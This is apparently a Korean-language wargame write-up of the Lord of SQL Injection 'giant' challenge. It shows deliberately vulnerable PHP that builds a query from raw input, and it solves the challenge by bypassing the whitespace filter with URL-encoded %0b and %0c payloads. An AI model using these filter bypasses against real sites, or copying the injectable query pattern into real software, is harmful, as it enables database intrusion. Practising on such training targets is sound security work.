[Lord Of SQL Injection] 14번

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query : select 1234 fromprob_giant where 1

---

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

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fromprob_giant 붙어있는거 공백을 만들어줘야 된다.

 

\n, \r, \t 공백을 우회할때 많이 사용하는것들이 필터링되었다.

그래서 찾아보니까 

%09 : tab(\t)

%0a : line feed(\n)

%0b : vertical tab

%0c : form feed

%0d : carriage return(\r)

이렇게 있었다.

%09, %0a, %0d는 필터링 되어있으니까 나머지 %0b, %0c를 사용해보자

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https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0c

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query : select 1234 fromprob_giant where 1

---

 

GIANT Clear!

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

 

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https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0b

---

query : select 1234 fromprob_giant where 1

---

 

GIANT Clear!

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

 

 

%0b, %0c 둘다 정상적으로 작동된다.